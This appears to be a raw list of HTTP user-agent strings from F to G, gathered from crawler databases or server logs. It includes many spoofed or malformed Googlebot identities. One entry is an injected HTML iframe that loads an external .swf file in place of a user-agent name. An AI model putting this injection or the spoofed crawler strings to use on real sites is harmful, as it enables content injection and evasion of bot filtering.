facebookscraper/1.0(+http://www.facebook.com/sharescraper_help.php) Facet Engine Spider/Nutch-1.2 (Internet Crawler; spider@facetengine.com) falcon/13.0 FANGCrawl/0.01 FarKrank 2.1 /127.0.01/l/index/c:\root FarKrank 2.1 /127.0.1/l Farkrank 2.1 /All Hail Freedonia.!../ FarKrank/2.1; +127.0.1/l FarKrank/2.1; 127.0.0.1/i/c:\root FarKrank/2.1; Freedonia Forever FAST Enterprise Crawler 6 used by EPFL (raul.rabionet@epfl.ch) FAST Enterprise Crawler 6 used by LexisNexis (lnbot@lexisnexis.com) FAST Enterprise Crawler 6 used by Singapore Press Holdings (crawler@sphsearch.sg) FAST Enterprise Crawler 6 used by Verizon Superpages Powered By FAST (crawler_admin@superpages.com) FAST Enterprise Crawler 6 used by ypc (krao@yellowpages.com) FAST Enterprise Crawler used by ILU ( http://www.ilu.co.jp/ ) FAST Enterprise Crawler/6 (www.fastsearch.com) FAST Enterprise Crawler/6.4 (crawler@fast.no) FAST Enterprise Crawler/6.4 (helpdesk at fast.no) FAST ESP Document Retriever/CVS HEAD 2007-10-18 23:53:34 UTC FAST ESP Document Retriever/CVS HEAD 2008-01-02 20:19:11 UTC FAST ESP Document Retriever/CVS HEAD 2009-10-16 13:16:12 UTC FAST MetaWeb Crawler (helpdesk at fastsearch dot com) FAST+Enterprise+Crawler/6.7.0+(crawler@fast.no) FAST-WebCrawler/2.2.5 - Lycos/Alltheweb/Fast FAST-WebCrawler/2.2.7 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)http://www.fast.n... FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp) FAST-WebCrawler/3.8 (crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler) Fauxzilla 1.0 FavIcon Refresher favicon.bim-zone (+http://favicon.bim-zone.com/) FavOrg favorstarbot/1.0 (+http://favorstar.com/bot.html) FAX search Faxobot/1.0 FBI CheckCategory/0.91-20080319 libwww-perl/5.76 fdgfgfg Yandex ghdhhgj FDM 3.x Feed::Find/0.06 Feedable/0.1 (compatible; MSIE 6.0; Windows NT 5.1) feedburner FeedBurner bla FeedBurner/1.0 FeedBurner/1.0 (http://www.FeedBurner.com) FeedChecker/0.01 FeedDemon/2.7 (http://www.newsgator.com/; Microsoft Windows XP) FeedDemon/3.0 (http://www.newsgator.com/; Microsoft Windows XP) FeedDemon/3.1 (http://www.feeddemon.com/; Microsoft Windows) FeedFetcher-Google; (+http://www.google.com/feedfetcher.html) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=1344902925899002101) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=15536775139976868462) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=16771952015775543556) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=8804269545452303075) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=11236017494282544191) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=11329051416792931808) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=12232177551800999482) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=13745374031421833426) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=15536775139976868462) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=15726244811664415846) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=15834670797632531751) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=16672513828131662184) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=18314742113553748020) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=2377450277274164905) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=2907255144766447660) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=366904258471635459) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=4820124906372295520) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=8863418675138580825) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=8888325982670681274) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=9828048611469326063) FeedHub FeedDiscovery/1.0 (http://www.feedhub.com) FeedHub MetaDataFetcher/1.0 (http://www.feedhub.com) Feedjit Crawler 2.1 Feedjit Favicon Crawler 1.0 FeedMyInbox/1.0 (http://www.FeedMyInbox.com) FeedValidator FeedValidator/1.3 FeFeScRIPT (DOS 6.22) fetch libfetch/2.0 fetch/Nutch-1.0 (TCGfetch; http://fetch.thecyberguardian.com; TCGEmail) FGet 1.0 filter html <iframe src=http://cristgaming.com/pirate.swf width=100 height=75> Findexa Crawler (http://www.findexa.no/gulesider/article26548.ece) findfiles.net/0.96 (Robot;test_robot@gmx-topmail.de) findfiles.net/0.97 (Robot;test_robot@gmx-topmail.de) findlinks/0.939 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/0.944 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/0.945 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/0.956 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/0.968 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/0.973 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/0.975 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/0.976 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/0.999 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.0 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.0.8 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.0.8-a5 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.0.9 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.0.9-a2 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.06 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.07 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.08 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1-a3 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1-a7 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1-a8 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1-a9 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.1 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.1-a1 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.1-a2 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.1-a5 ( http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.1-a5 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.2-a3 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.2-a5 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.3-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.3-beta2 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.3-beta3 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.3-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.3-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.3-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.3-beta8 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.3-beta9 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.4-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.5-beta8 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/2.0.2 (+http://wortschatz.uni-leipzig.de/findlinks/) findlinks/2.0.4 (+http://wortschatz.uni-leipzig.de/findlinks/) Firebat 2.7.13 Firebat 2.8.1 (http://lms.virtual-presence.org) Firebat 2.8.2 (http://lms.virtual-presence.org) Firebat 2.8.3 (http://lms.virtual-presence.org) Firebat 2.8.4 (http://lms.virtual-presence.org) Firebat 2.8.5 (http://lms.virtual-presence.org) Firebat 2.8.7 (http://lms.virtual-presence.org) Firebat 2.9.0 (http://lms.virtual-presence.org) Firebat 2.9.1 (http://lms.virtual-presence.org) firefox google bot firefox google bot firefox googlebot firefox googlebot Firefox/2.0.0.16 ( Linux i686; bot batech 1.7;) Firefox/3.6.3 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) FirePanther (www.the-coderz.de) FirePanther-NoBot/1.0 (info@firepanther.de http://firepanther.de) FirePHP FlashGet flatlandbot/allspark (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot; jason@flatlandindus... flatlandbot/baypup (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot; jason@flatlandindustr... flatlandbot/flatlandbot (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot.php; jason@flatla... flatlandbot/flatlandbot (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot; jason@flatlandin... FlaxCrawler/1.0 Flight Deck Bot (experimental) Flight Deck Bot 1.3 beta (http://www.flightdeckreports.com/bot) FlightDeckReports Bot 1.5 beta (http://www.flightdeckreports.com/bot) FlightDeckReports Bot 1.9 beta (http://www.flightdeckreports.com/bot) flyindex.net 1.0/http://www.flyindex.net focused_crawler (infpc71; Linux i686; http://ivia.ucr.edu/user_agents.html) FollowSite Bot ( http://www.followsite.com/bot.html ) FollowSite.com ( http://www.followsite.com/b.html ) foo/1.0 foo_1.0.0.9 foo1.2.2.3 foobar/Nutch-1.0-dev (foobar; foobar.com; foo@bar.com) foobar2000/0.9.5.1 Fooky.com/ScorpionBot/ScoutOut; http://www.fooky.com/scorpionbots ForAll.pl-Crawler/1.0 Forschungsportal/0.8-dev (Testinstallation; http://www.forschungsportal.net/; fpcrawler@rrzn.uni-hannover.de) FPMurphy/4.96 Dtorm/ fr_com_viewer larbin2.6.3@unspecified.mail FreeSurfer software from SunnyScript - www.sunnyscript.com FreeWebMonitoring SiteChecker/0.1 (+http://www.freewebmonitoring.com) Frelicbot/1.0 +http://www.frelic.com/ friendbinder (Curl / PHP 5.2.11) FSPBot/2.31 FunWebProducts fusion-ware.com Fusion-ware.com bot FX-Networks-GuardSystem FyberSpider (+http://www.fybersearch.com/fyberspider.php) FyberSpider/1.2 (http://www.fybersearch.com/fyberspider.php) FyberSpider/1.3 (http://www.fybersearch.com/fyberspider.php) g3.pl/0.1 libwww-perl/5.65 g3.pl/0.1 libwww-perl/5.803 Gaisbot/3.0 (jerry_wu@openfind.com.tw; http://gais.cs.ccu.edu.tw/robot.php) Gaisbot/3.0+(robot-response@widelab.org;+http://www.widelab.org/robot.html) Gaisbot/3.0+(robot@gais.cs.ccu.edu.tw;+http://gais.cs.ccu.edu.tw/robot.php) Gaisbot/3.0+(robot05@gais.cs.ccu.edu.tw;+http://gais.cs.ccu.edu.tw/robot.php) Gaisbot/3.0+(robot06@gais.cs.ccu.edu.tw;+http://gais.cs.ccu.edu.tw/robot.php) GameBox Gandalf/Grey (Shadowfax; Wind) White_Staff gbot gemiusbot general.useragent.override Googlebot/2.1 (+http://www.googlebot.com/bot.html) Generic Mobile Phone (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html) genieBot (http://64.5.245.11/faq/faq.html) genieBot enash@genieknows.com genieBot stephanie@genieknows.com geniebot wgao@genieknows.com GentilBot/Nutch-1.0 GentleCrawler GeoBot/version 1.0 GeoHasher/Nutch-1.0 (GeoHasher Web Search Engine; geohasher.gotdns.org; geo_hasher at yahoo * com) GeonaBot/1.2; http://www.geona.com/ georg [Bot] Georgila/4.0 geosign-crawler (Enterprise; M2-KJL7RPEBUC2JB; pfilsinger@geosign.com) GET /1.0 GetGo Download Manager 4.0 (www.getgosoft.com)Pragma: no-cache GetHTMLContents3 GetWebFile/1.0 GetWebsiteValue (http://www.getwebsitevalue.com/) GFW-URL-checker (http://yeri.be/hr); country: cn gh-index-bot/Nutch-1.0 (GH Web Search.; lucene.apache.org; gh_email at someplace dot com) Giant/1.0 (Openmaru bot; robot@openmaru.com) Gigabot/1.0 Gigabot/2.0 Gigabot/2.0 (http://www.gigablast.com/spider.html) Gigabot/2.0/gigablast.com/spider.html Gigabot/2.0; http://www.gigablast.com/spider.html Gigabot/2.0att Gigabot/3 Gigabot/3.0 (http://www.gigablast.com/spider.html) GIGABYTE-g-Smart Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; GIGABYTE-g-Smart) Gimmie60/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.11) GingerCrawler/1.0 (Language Assistant for Dyslexics; www.gingersoftware.com/crawler_agent.htm; support at ginger softwar... Ginxbot/0.1 (robot@ginx.com) gnome-vfs/2.16.2 neon/0.25.4 gnu-classpath/0.92 (libgcj/4.1.2 (Ubuntu 4.1.2-0ubuntu5)) GOD WebWasher 3.4 GOFORITBOT ( http://www.goforit.com/about/ ) goget/ /image/ Gogglebot 2.1 Gogglebot/2.1 (+2.1http://www.googlebot.com/bot.html) Gogglebot/2.1 (+http://www.googlebot.com/bot.html) Goglebot/2.1 (+http://www.goglebot.com/bot.html) Goglebot/2.1; +http://www.gogle.com/bot.html gold crawler Goldfire Server gonzo/1[P] (+http://www.suchen.de/faq.html) gonzo1 mailto:crawleradmin.t-info@telekom.de gonzo1[D] +http://www.suchen.de/faq.html gonzo1[D] mailto:crawleradmin.t-info@telekom.de gonzo1[P] +http://www.suchen.de/faq.html gonzo2[D] +http://www.suchen.de/faq.html Google - Googlebot/2.1 ( http://www.googlebot.com/bot.html) google bot google bot 2 Google Bot 2 Beta Google bot 2.1 google-bot Google-Site-Verification/1.0 Google-Sitemaps/1.0 Google/2.1+ (+http://www.googlebot.com/bot.html) google_two_web larbin2.6.3@unspecified.mail GoogleBot GoogleBot (compatible; Googlebot/2.1; +http://www.google.com/bot.html) googlebot 1.0 Googlebot 2,1 Googlebot 2.1 Googlebot 2.1 (+http://www.google.com/bot.html) Googlebot 2.1 (New version) Googlebot 2.1 (New version)" useragent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com... Googlebot 2.1 ColdFire/1.1.51.59 Googlebot 2.1 FirePHP/0.2.1 Googlebot 2.2 googlebot FirePHP/0.3 Googlebot Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 googlebot, gzip GFE () Googlebot, Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Googlebot-2.1 Googlebot-Image 1.0 Googlebot-Image/1.0 googlebot-image Googlebot-Image/1.0 Googlebot-Image/1.0 ( http://www.googlebot.com/bot.html) Googlebot-Image/1.0 (+http://www.googlebot.com/bot.html Googlebot-Image/1.0 (+http://www.googlebot.com/bot.html) Googlebot-Image/1.0 (+http://www.googlebot.com/bot.html; ; ) Googlebot-Image/1.0 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows 98) Googlebot-Image/1.0 (http://www.googlebot.com/bot.html) Googlebot-Images Googlebot-Mobile Googlebot-Mobile/2.1 Googlebot-PM googlebot.com googlebot/1.0 Googlebot/1.0 (googlebot@googlebot.com http://googlebot.com/ Googlebot/1.0 (googlebot@googlebot.com http://googlebot.com/ googlebot.com/) Googlebot/1.0 (googlebot@googlebot.com http://googlebot.com/) Googlebot/1.0 (googlebot@googlebot.com http://googlebot.com/) FirePHP/0.2.4 Googlebot/1.0 (googlebot@googlebot.com http://googlebot.com/) FirePHP/0.3 Googlebot/1.1+(+http://www.googlebot.com/bot.html) googlebot/2 Googlebot/2!(+http://www.googlebot.com/bot.html) Googlebot/2.0 (http://www.googlebot.com/bot.html) Googlebot/2.1 Googlebot/2.1 (+http://www.google.com/bot.html) Googlebot/2.1 ( + http:/ / www.googlebot.com/bot.html) Googlebot/2.1 ( http://127.0.0.1) Googlebot/2.1 ( http://www.google.com/bot.html) Googlebot/2.1 ( http://www.google.com/bot.html) 999 Googlebot/2.1 ( http://www.googlebot.com/bot.html) Googlebot/2.1 ( http://www.googlebot.com/bot.html) FirePHP/0.2.4 Googlebot/2.1 ( http://www.googlebot.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.ht... Googlebot/2.1 ( http://www.googlebot.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.htm... Googlebot/2.1 ( http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.co... Googlebot/2.1 ( http://www.googlebot.com/bot.html);afcid=Wf36ac4fee54afd78d944843274ab1511 Googlebot/2.1 (+ http://www.google.com/bot.html) googlebot/2.1 (+ http://www.googlebot.com/bot. htm Googlebot/2.1 (+ http://www.googlebot.com/bot.html) Googlebot/2.1 (+ http://www.olivia del rio.com/bot.html) Googlebot/2.1 (+http: //www.googlebot.com/bot.html) Googlebot/2.1 (+http://127.0.0.1) Googlebot/2.1 (+http://google.com/bot.html Googlebot/2.1 (+http://google.com/bot.html) Googlebot/2.1 (+http://googlebot.com/bot.html) Googlebot/2.1 (+http://www.google. com/bot.html) Googlebot/2.1 (+http://www.google.com./bot.html) Googlebot/2.1 (+http://www.google.com/bot.html Googlebot/2.1 (+http://www.google.com/bot.html) Googlebot/2.1 (+http://www.google.com/bot.html) (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4... Googlebot/2.1 (+http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Googlebot/2.1 (+http://www.google.com/bot.html). Googlebot/2.1 (+http://www.google.com/bot.html,gzip(gfe) (via translate.google.com) Googlebot/2.1 (+http://www.google.com/bot.html; Googlebot/2.13; Googlebot/2.12; SaveWealth; .NET CLR 1.1.4322; .NET CLR ... Googlebot/2.1 (+http://www.googlebot.com/bot .html) Googlebot/2.1 (+http://www.googlebot.com/bot.htm Googlebot/2.1 (+http://www.googlebot.com/bot.htm) Googlebot/2.1 (+http://www.googlebot.com/bot.html googlebot/2.1 (+http://www.googlebot.com/bot.html FirePHP/0.2.1 Googlebot/2.1 (+http://www.googlebot.com/bot.html) Googlebot/2.1 (+http://www.googlebot.com/bot.html) AutoPager/0.5.2.2 (http://www.teesoft.info/) Googlebot/2.1 (+http://www.googlebot.com/bot.html) FirePHP/0.2.1 Googlebot/2.1 (+http://www.googlebot.com/bot.html) FirePHP/0.2.4 Googlebot/2.1 (+http://www.googlebot.com/bot.html) FirePHP/0.3 Googlebot/2.1 (+http://www.googlebot.com/bot.html) PornoBot (Enterprise E Science Console 2 ; N; Classified OS/4211 LX 6... Googlebot/2.1 (+http://www.googlebot.com/bot.html),gzip(gfe) (via translate.google.com) Googlebot/2.1 (+http://www.googlebot.com/bot.html)Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.htm... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows NT 5.1; SV1) Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727;... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows NT 5.1; SV1; Antenna Preview Window) Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CL... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Win... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1) Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322) Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; eMusic DLM/4; .NET CLR 2... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; InfoPath.1) Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows ... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; PeoplePal 3.0; PeoplePal 6.2) Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; PeoplePal 3.0; PeoplePal 6.2; .NET CLR 2.0.... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 6.0; FunWebProducts; GTB6; SLCC1; .NET CLR 2.0.5... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows ... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC ... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727) Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET ... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 2.0.50727; .NET... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE ... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Med... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Med... Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NE... Googlebot/2.1 (+http://www.googlebot.com/bot.html; Windows; U; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.0... Googlebot/2.1 (+http://www.googlebot.com/bot.html} googlebot/2.1 (+http://wwwgooglebot.com/bot.html) Googlebot/2.1 (+http:/www.googlebot.com/bot.html) Googlebot/2.1 (+http:www.googlebot.com/bot.html) Googlebot/2.1 (+www.googlebot.com/bot.html) Googlebot/2.1 (♦http://www.googlebot.com/bot.html) Googlebot/2.1 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Googlebot/2.1 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152;... Googlebot/2.1 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; +http://w... Googlebot/2.1 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR ... Googlebot/2.1 (compatible; MSIE; Windows; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Googlebot/2.1 (Google's crawler; www.googlebot.com; googlebot@google.com) Googlebot/2.1 (http://googlebot.com/bot.html GoogleBot/2.1 (http://googlebot.com/bot.html) Googlebot/2.1 (http://www.googlbot.com/bot.html Googlebot/2.1 (http://www.googlbot.com/bot.html) Googlebot/2.1 (http://www.google.com/bot.html) Googlebot/2.1 (http://www.google.com/bot/html) Googlebot/2.1 (http://www.googlebot.com/bot.html Googlebot/2.1 (http://www.googlebot.com/bot.html) Googlebot/2.1 (http://www.googlebot.com/bot.html)http://www.googlebot.com/bot.html Googlebot/2.1 + (+ http://www.google.com/ bot.html) Googlebot/2.1 + (+ http://www.google.com/bot.html) Googlebot/2.1 + (+ http://www.googlebot.com/bot.html) Googlebot/2.1 + (+ http://www.googlebot.com/bot.html),gzip(gfe) (via translate.google.com) Googlebot/2.1 +(+http://www.google.com/bot.html) Googlebot/2.1 - Google.com Googlebot/2.1 [+http://www.googlebot.com/bot.html] Googlebot/2.1 AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.23 Safari/533.4 Googlebot/2.1 Java/1.6.0_20 Googlebot/2.1 Java/1.6.0_20 Googlebot/2.1" "Compatible"="+http://www.googlebot.com/bot.html Googlebot/2.1",gzip(gfe) (via translate.google.com) Googlebot/2.1( +http://www.googlebot.com/bot.html) Googlebot/2.1(+http//googlebot.com/bot.html) Googlebot/2.1(+http//googlebot.com/bot.html),gzip(gfe) (via translate.google.com) Googlebot/2.1(+http//www.googlebot.com/bothtml) GoogleBot/2.1(+http://googlebot.com/bot.html) googlebot/2.1(+http://www.google.com/bot.html) googlebot/2.1(+http://www.googlebot.com/bot.html Googlebot/2.1(+http://www.googlebot.com/bot.html) Googlebot/2.1(http:.googlebot.com/bot.html) Googlebot/2.1(http://www.google.com/bot.html) Googlebot/2.1(http://www.googlebot.com/bot.html) Googlebot/2.1+ Googlebot/2.1+ (+http://www.google.com/bot.html)* Googlebot/2.1+ (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.12 (KHTML, like Gecko) Version/4.0 Safari/52... Googlebot/2.1+ (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safar... Googlebot/2.1+ SmartLinksAddon Googlebot/2.1+(+http://googlebot.com/bot.html) Googlebot/2.1+(+http://www.google.com/bot.htm Googlebot/2.1+(+http://www.google.com/bot.html Googlebot/2.1+(+http://www.google.com/bot.html) Googlebot/2.1+(+http://www.google.com/bot.html),gzip(gfe) (via translate.google.com) Googlebot/2.1+(+http://www.google.com/bot.html)\|Googlebot/2.1+(+http://www.googlebot.com/bot.html) Mozilla/5.0 (compatib... Googlebot/2.1+(+http://www.google.com/bot.html)” Googlebot/2.1+(+http://www.google.com/bot.html)” Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.ht... Googlebot/2.1+(+http://www.google.com/bot.html)”. Notice the different url Googlebot/2.1+(+http://www.google.com/bot.html)â€ Googlebot/2.1+(+http://www.google.com?bot.html) Googlebot/2.1+(+http://www.googlebot.com/bot.htm) Googlebot/2.1+(+http://www.googlebot.com/bot.html Googlebot/2.1+(+http://www.googlebot.com/bot.html) Googlebot/2.1+(+http://www.googlebot.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.ht... Googlebot/2.1+(+http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.c... Googlebot/2.1+(+http://www.googlebot.com/bot.html)” Googlebot/2.1+(+http://www.googlebot.com/bot.html)” Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot... Googlebot/2.1+(+http://www.googlebot.com/bot.html)Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.htm... Googlebot/2.1+(+http://www.googlebot.com/bot.html] Googlebot/2.1+(0000000000000000000000000000000) Googlebot/2.1+(http://www.google.com/bot.html) Googlebot/2.1++http://www.google.com/bot.html Googlebot/2.1++http://www.googlebot.com/bot.html Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html Googlebot/2.1: ( : http://www.googlebot.com/bot.html)" Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.goog... Googlebot/2.1:(:http://www.googlebot.com/bot.html) Googlebot/2.1; ( http://www.google.com/bot.html) Googlebot/2.1; (+http://www.google.com/bot.html) Googlebot/2.1; (http://www.google.com/bot.html) Googlebot/2.1; +http://www.google.com/bot.html Googlebot/2.1; +http://www.google.com/bot.html) Googlebot/2.1; +http://www.google.com/bot.html, DynaWeb http://www.dit-inc.us/disclaimer.php Googlebot/2.1; +http;//www.google.com/bot.html Googlebot/2.1; http://www.google.com/bot.html Googlebot/2.1;+(+http://www.googlebot.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.h... Googlebot/2.1;+http://www.google.com/bot.html Googlebot/2.1? �Compatible�=�+http://www.googlebot.com/bot.html (compatible; MSIE 7.0; Windows NT 5.1; GTB0.0) Googlebot/2.1??Compatible?=?+http://www.googlebot.com/bot.html Googlebot/2.2 (http://www.googlebot.com/bot.html) Googlebot/2.3 (+http:\\www.googlebot.com/bot.html) Googlebot/2.4 (+http://www.googlebot.com/bot.html) Googlebot/2.X googlebot/2.X (+http://www.google.com/bot.html) Googlebot/2.X (+http://www.googlebot.com/bot.html Googlebot/2.X (+http://www.googlebot.com/bot.html) 